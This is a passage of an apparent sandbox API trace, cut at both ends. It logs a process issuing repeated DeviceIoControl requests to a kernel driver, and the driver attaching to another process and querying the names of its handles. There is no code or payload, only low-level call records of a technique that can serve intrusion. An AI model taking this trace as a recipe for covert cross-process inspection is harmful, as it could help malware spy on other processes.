DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0113.171] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.171] PsReleaseProcessExitSynchronization () returned 0x2 [0113.171] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.171] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.171] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0113.171] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.171] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.171] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.171] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0113.171] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.171] PsAcquireProcessExitSynchronization () returned 0x0 [0113.171] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.171] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0113.171] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.171] PsReleaseProcessExitSynchronization () returned 0x2 [0113.171] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.171] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.171] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0113.171] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.171] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.171] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.171] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0113.171] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.171] PsAcquireProcessExitSynchronization () returned 0x0 [0113.171] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.171] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0113.171] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.171] PsReleaseProcessExitSynchronization () returned 0x2 [0113.171] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.171] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.172] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0113.172] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.172] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.172] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.172] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.172] PsAcquireProcessExitSynchronization () returned 0x0 [0113.172] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.172] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0113.172] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.172] PsReleaseProcessExitSynchronization () returned 0x2 [0113.172] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.172] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.172] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0113.172] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.172] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.172] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0113.172] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.172] PsAcquireProcessExitSynchronization () returned 0x0 [0113.172] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.172] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0113.172] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.172] PsReleaseProcessExitSynchronization () returned 0x2 [0113.172] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.172] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.172] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0113.172] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.172] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.172] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0113.172] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.172] PsAcquireProcessExitSynchronization () returned 0x0 [0113.172] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.173] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0113.173] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.173] PsReleaseProcessExitSynchronization () returned 0x2 [0113.173] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.173] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.173] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0113.173] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.173] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.173] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0113.173] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.173] PsAcquireProcessExitSynchronization () returned 0x0 [0113.173] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.173] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0113.173] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.173] PsReleaseProcessExitSynchronization () returned 0x2 [0113.173] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.173] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.173] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0113.173] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.173] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.173] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0113.173] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.173] PsAcquireProcessExitSynchronization () returned 0x0 [0113.173] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.173] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0113.173] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.173] PsReleaseProcessExitSynchronization () returned 0x2 [0113.173] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.173] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.173] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0113.173] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.174] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.174] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0113.174] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.174] PsAcquireProcessExitSynchronization () returned 0x0 [0113.174] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.174] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0113.174] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.174] PsReleaseProcessExitSynchronization () returned 0x2 [0113.174] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.174] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.174] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0113.174] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.174] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.174] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0113.174] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.174] PsAcquireProcessExitSynchronization () returned 0x0 [0113.174] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.174] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0113.174] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.174] PsReleaseProcessExitSynchronization () returned 0x2 [0113.174] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.174] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.174] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0113.174] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.174] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.174] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.174] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.174] PsAcquireProcessExitSynchronization () returned 0x0 [0113.175] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.175] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.175] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.175] PsReleaseProcessExitSynchronization () returned 0x2 [0113.175] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.175] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.175] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.175] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.175] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.175] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.175] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.175] PsAcquireProcessExitSynchronization () returned 0x0 [0113.175] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.175] ObReferenceObjectByHandle (in: Handle=0x678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0113.175] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.175] PsReleaseProcessExitSynchronization () returned 0x2 [0113.175] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.175] ObQueryNameString (in: Object=0xfffffa80018f9ca0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.175] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x1 [0113.175] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.175] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.175] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0113.175] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.175] PsAcquireProcessExitSynchronization () returned 0x0 [0113.175] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.175] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0113.175] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.175] PsReleaseProcessExitSynchronization () returned 0x2 [0113.176] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.176] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.176] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0113.176] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.176] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.176] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0113.176] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.176] PsAcquireProcessExitSynchronization () returned 0x0 [0113.176] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.176] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0113.176] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.176] PsReleaseProcessExitSynchronization () returned 0x2 [0113.176] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.176] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.176] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0113.176] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.176] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.176] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0113.176] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.176] PsAcquireProcessExitSynchronization () returned 0x0 [0113.176] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.176] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0113.176] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.176] PsReleaseProcessExitSynchronization () returned 0x2 [0113.176] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.176] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.176] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0113.176] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.176] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.176] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.177] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.177] PsAcquireProcessExitSynchronization () returned 0x0 [0113.177] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.177] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0113.177] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.177] PsReleaseProcessExitSynchronization () returned 0x2 [0113.177] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.177] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: 